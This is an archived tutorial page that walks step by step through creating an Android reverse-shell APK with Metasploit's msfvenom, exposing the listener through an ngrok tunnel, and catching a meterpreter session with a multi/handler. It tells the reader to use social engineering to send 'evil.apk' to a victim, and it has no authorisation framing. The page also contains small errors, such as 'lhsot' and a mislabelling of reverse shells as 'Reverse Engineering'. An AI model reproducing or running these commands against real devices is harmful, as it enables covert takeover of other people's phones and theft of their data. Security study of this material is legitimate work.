The Wayback Machine - https://web.archive.org/web/20241004114127/https://www.geeksforgeeks.org/how-to-use-a-reverse-shell-in-metasploit-in-kali-linux/
Open In App

How to use a Reverse Shell in Metasploit in Kali Linux

Last Updated : 07 Nov, 2022
Summarize
Comments
Improve
Suggest changes
Like Article
Like
Save
Share
Report
News Follow

Metasploit is not just a single tool. It is a complete framework. It is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code, it is flexible and extremely robust and has tons of tools to perform various simple and complex tasks. Metasploit Framework creates payloads in form of apk, exe, etc. format that can be executed, and once the script starts running it provides a connection to the victim’s system or phone. Metasploit framework is built in most of the Linux kernel operating Systems and we can also use it on Windows, 

 

We can download Metasploit Framework from the below link: 

https://www.metasploit.com/download

In this article, we will be gaining reverse shell access to an android phone using payload.

What is a Reverse Shell?

A reverse shell or connect-back shell is a way of taking over on victim’s system due to its vulnerabilities giving access to a shell session of the victim’s system. In most cases, the reverse shell is successful because here the victim only lets you into his system. Of course, a firewall prohibits the outer connection but most firewalls allow any outgoing connection. Hackers use victims to get into their system, the victim itself allows us to connect through itself, this is called Reverse Engineering.

Creating a reverse shell script of android using Metasploit-framework

In most of the Linux-based systems, Metasploit is already installed and we can also use it in windows but the process is different, in Windows, we will have a GUI(Graphical User Interface) experience but in Linux, you will have proper CLI(Command line interface ) experience. 

Let’s install it on our Linux Systems:

Step 1: Installation of Metasploit 

Fire up a terminal and install it by 

sudo apt install metasploit-framework

or else we can also clone the repository of the rapid7 on GitHub

git clone https://github.com/rapid7/metasploit-framework

After successful installation, we can try to start the Metasploit console just by writing:

msfconsole

 

Note: If you facing any installation issues try to clone it from GitHub.

You will be prompted with a blinking cursor with msf6> written. Well, exit this for now. To exit type

exit

Now we have to make a reverse shell script for an android device and the best suitable format would be a .apk file

Step 2: Using the Ngrok Tunneling service

Ngrok is a tunneling service that enables us to connect through servers or systems over WAN. It gives access to remote systems without even touching their networks. It is secure and a reliable tunneling service.

Create an id and download the file, after downloading the file open up a terminal and follow.

cd <path to ngrok>
unzip ngrok.zip

After that we will see a ngrok file unzipped out, now we have given it an access token that we have got from your ngrok dashboard.

Note: Go to the site where you downloaded the ngrok service you will see your auth token there with the command copy it.

ngrok config add-authtoken <your token>

We will see if nothing will happen but the token is saved on your system. now try starting the ngrok service to verify the process

./ngrok tcp 8080

 

Here we used TCP protocol so we have to specify it with a port number.

Note: Port number can be of your choice 4-digit number.

Step 3: Making the Payload

Now let it be open and fire a new terminal. We have to create a payload/script for a reverse shell. In the new terminal type the below command:

msfvenom -p android/meterpreter/reverse_tcp lhsot=0.tcp.in.ngrok.io lport=<the port address just beside> R> evil.apk

  • msfvenom: Command of the Metasploit framework used to create scripts
  • -p: stating the type of payload 
  • android/meterpreter/reverse_tcp: an inbuilt script of Metasploit used for android reverse shell connection.
  • lhost: To determine the host.
  • lport: To determine the port address.
  • R>: To determine the name and location of your payload.

Now all you have to do is do some Social engineering and Send the apk file to the victim.  Now we have to be ready for accepting the connection, so let’s prepare a session for it. Clear out the terminal and start

msfconsole

This will open the Metasploit console where we will be accepting the connection.

Now, 

msf6> use exploit/multi/handler
msf6> set payload android/meterpreter/reverse_tcp
msf6> set LHOST 127.0.0.1
msf6> set LPORT 8080
msf6> exploit -j

if the victim has installed the apk and run it for the first time, then you will be prompted to a meterpreter session or reverse shell.

 

After prompting to a meterpreter session, type 

help

We will see a bunch of commands you can do with the victim’s system. Let’s try to get a shell session, Just type shell 

meterpreter> shell

We will see this:

 


Previous Article
Next Article

Similar Reads

Creating a Persistent Reverse Shell with Metasploit in Kali Linux
A reverse shell is a type of network connection in which a command shell is executed on a remote machine, and the input and output of the shell are transmitted over the network back to the local machine. This allows a user on the local machine to execute commands on the remote machine and receive the output of those commands. Reverse shells are oft
4 min read
Using Metasploit and Nmap to Scan for Vulnerabilities in Kali Linux
The Metasploit framework is a penetration testing tool for exploiting and validating vulnerabilities. It includes the fundamental architecture, particular content, and tools required for penetration testing and extensive security evaluation. It is a well-known exploitation framework that is routinely updated; new exploits are included as soon as th
3 min read
Working with Payload Metasploit in Kali Linux
The Metasploit framework is a penetration testing tool for exploiting and validating vulnerabilities. It includes the fundamental architecture, particular content, and tools required for penetration testing and extensive security evaluation. It is a well-known exploitation framework that is routinely updated; new exploits are included as soon as th
5 min read
Deploying a Payload with Metasploit in Kali Linux
A Metasploit framework is an open-Source tool that is developed and maintained by rapid7. It is a very powerful tool used by almost all penetration testers to scan for vulnerabilities in their system. Metasploit-framework has about 500+ payloads and over 1677 exploits organized for different platforms, including Android, PHP, Python, Java, etc. Met
4 min read
Validating a Vulnerability Metasploit in Kali Linux
Metasploit is a popular open-source platform for developing, testing, and executing exploits and payloads. It is widely used by security professionals and researchers to identify and exploit vulnerabilities in systems and networks. Metasploit consists of a large database of exploits and payloads that can be used to attack a wide range of systems an
6 min read
Uploading a Reverse Shell to a Web Server in Kali Linux
We basically hack the webserver for gaining access to the system. We look into what is inside the web server and we want to have full control of the web server. Therefore we can download or access the uploaded content. In this article, we are using a reverse shell made with PHP. We are uploading the reverse shell into the web server and trying to h
3 min read
Shell Script to Show the Difference Between echo “$SHELL” and echo ‘$SHELL’
In shell scripting and Linux, the echo command is used to display text on the terminal or console. When used with the $SHELL variable, which contains the path of the current user's shell program, the output of the echo command can be different depending on whether the variable is enclosed in single or double quotes. echo "$SHELL" will expand the $S
4 min read
Shell Scripting - Difference between Korn Shell and Bash shell
Korn Shell: Korn Shell or KSH was developed by a person named David Korn, which attempts to integrate the features of other shells like C shell, Bourne Shell, etc. Korn Shell allows developers to generate and create new shell commands whenever it is required. Korn shell was developed a long year back as it is older than the BASH shell and it has fe
3 min read
Linux - Metasploit Command
Metasploit is an open-source penetration testing framework and a suite of security tools used for a myriad of purposes like information gathering, scanning, pen testing, exploiting, encoding, firewall evasion, and even post-exploitation phase. The framework is constituted of different categories and modules which makes Metasploit perfect to use as
5 min read
What is the Metasploit Framework in Linux?
A Metasploit framework is a tool that is used by ethical hackers, security researchers, and pentester to testing of the vulnerability. It helps us to find vulnerabilities in networks, systems, and IoT. It's an open-source tool. It can be customized with the operating system. It's a bunch of exploits for various platforms. This Framework is written
4 min read
Kali-Whoami - Stay anonymous on Kali Linux
In today's life, we are surrounded by a lot of cyber security tools and we talk about our online anonymity, but are we really anonymous? A single mistake can reveal our anonymity, so here is a tool that can help us to make anonymity possible and it is called WHOAMI. It is very useful and has a very simple UI. Note: if you are a parrot user then you
3 min read
Kali Linux - Terminal and Shell
Generally, operating systems have 2 interfaces GUI(Graphical User Interface) and CLI(Command Line Interface) and the same is the case with Linux Based Operating Systems. Linux Operating Systems are generally packed with terminal emulator packages for CLI based functioning and Desktop environment packages for GUI based functioning. Some common ones
3 min read
Auto Logout in Linux Shell Using TMOUT Shell Variable
TMOUT is a Linux-Unix shell variable that provides the user security for their login session in the system. It provides the "Auto Logout Functionality" for the login shell in case of no activity for a specified time. Generally when the user leaves the Linux system idle (situation when a user doesn't perform any administrative task by running a comm
2 min read
How to protect Linux shell file using noclobber in bash shell?
Most Linux shells(bash, csh, ksh, tcsh) have a built-in file protection mechanism to prevent files from being overwritten accidentally. In this article, we will see how to prevent it by setting noclobber option. Clobbering Redirecting standard output to a file that already exists would overwrite the existing file content which will result in data l
2 min read
Introduction to Linux Shell and Shell Scripting
If we are using any major operating system, we are indirectly interacting with the shell. While running Ubuntu, Linux Mint, or any other Linux distribution, we are interacting with the shell by using the terminal. In this article we will discuss Linux shells and shell scripting so before understanding shell scripting we have to get familiar with th
7 min read
How to Use Metasploit’s Interface
Metasploit itself is a free open-source software, with many contributors in the security community. It supports Vulnerability Research, Exploits development, and also the creation of custom security tools. Metasploit Frameworks are widely used for pen testing and other security purposes. Metasploit offers more than one interface to its underlying f
4 min read
Shell Script to Demonstrate the Use of Shell Function Library
Shell Function Library is basically a collection of functions that can be accessed from anywhere in the development environment. It actually makes shell scripting a bit less tedious and repetitive. By creating a shell script with some functions defined in it, we can then access and call those functions from other files or scripts. It helps in avoid
3 min read
How to Create Reverse Shells with Netcat in Kali Linux?
Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. To know more, yo
2 min read
What is Metasploit?
Metasploit is not just a single tool. It is a complete framework. It is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code, it is flexible and extremely robust and has tons of tools to perform various simple and complex tasks. Metasploit has three editions available. Metasploit ProMetasploit
7 min read
Difference Between Sucuri and Metasploit
In this article, we will see the difference between Metasploit and Solana. The following topics will be discussed here: Information about SucuriInformation about MetasploitDifference between Sucuri and Metasploit Let’s discuss each of these topics in detail. SucuriSucuri is a web-based security company that offers website security for particular si
3 min read
Social Engineering Techniques in Metasploit
The Social-Engineer Toolkit (SET) was developed to coincide with the release of social-engineer.org. The purpose of SET is to fill a gap in the penetration testing community and bring awareness to social-engineering attacks. the toolkit attacks human's weaknesses, exploiting curiosity, and simple human stupidity. Social-Engineering Attacks are at a
9 min read
Find Vulnerable Webcams with Shodan [Metasploit Framework]
Finding vulnerable webcams with Shodan and Metasploit can sound intimidating for beginners, but let me try to explain the key ideas simply. Think of Shodan as a search engine for connected devices and servers instead of websites. We can use it to find webcams and other systems that are publicly accessible over the internet. Sometimes these devices
5 min read
Adding a third party Module into Metasploit Framework
Metasploit Framework is a popular open-source tool for security testing and penetration testing. It comes packed with hundreds of ready-to-use exploits, payloads, encoders, and more to help test systems for weaknesses. However, the true power of Metasploit lies in its modular architecture that allows the community to contribute and expand its capab
4 min read
Brute Force Attack in Metasploit
A Brute Force Attack is one of the most famous and widely known types of cyber attack out there. a brute force attack is a type of attack that uses a trial-and-error method to guess login credentials, and encryption keys, or find a hidden webpage. If someone repeatedly and unsuccessfully tries to log in to an account or network, it appears to be a
7 min read
Detecting and Exploiting the OpenSSL Heartbleed Vulnerability with Nmap and Metasploit
The Heartbleed bug, labeled as CVE-2014-0160, is one of the most notorious security vulnerabilities on current records. It affects the OpenSSL cryptographic library, which has been widely used to encrypt communications on the net. Heartbleed allows attackers to extract sensitive information directly from the memory of affected servers or clients wi
4 min read
Shell Scripting - Restricted Shell
Shell is one of the most important and powerful tools available in GNU/Linux-based systems. One can control the entire system if used correctly, this exact feature makes the shell a double-edged sword. It can potentially harm the system if one executes a system command without knowing its underlying details and consequences. To prevent this we use
5 min read
Shell Scripting - Interactive and Non-Interactive Shell
A shell gives us an interface to the Unix system. While using an operating system, we indirectly interact with the shell. On Linux distribution systems, each time we use a terminal, we interact with the shell. The job of the shell is to interpret or analyze the Unix commands given by users. A shell accepts commands from the user and transforms them
3 min read
Shell Scripting - Default Shell Variable Value
A shell gives us an interface to the Unix system. While using an operating system, we indirectly interact with the shell. On Linux distribution systems, each time we use a terminal, we interact with the shell. The job of the shell is to interpret or analyze the Unix commands given by users. A shell accepts commands from the user and transforms them
3 min read
Korn Shell vs Bash Shell
Introduction : Korn Shell, also known as ksh, is a Unix shell that was developed by David Korn in the early 1980s. It was designed to be a more powerful and interactive shell than the Bourne Shell (sh), which was the standard Unix shell at the time. The Korn Shell has features such as command-line editing, job control, and shell scripting, making i
6 min read
Shell Scripting - Shell Signals Values
Prerequisites: Processes, Bash Scripting, Shell Function Library Signals help the operating system to communicate with processes and vice-versa. Signals are also generated when processes don't function properly or try to access prohibited memory. Different signals are mapped to different numbers which are referred to as signal values. The Linux OS
6 min read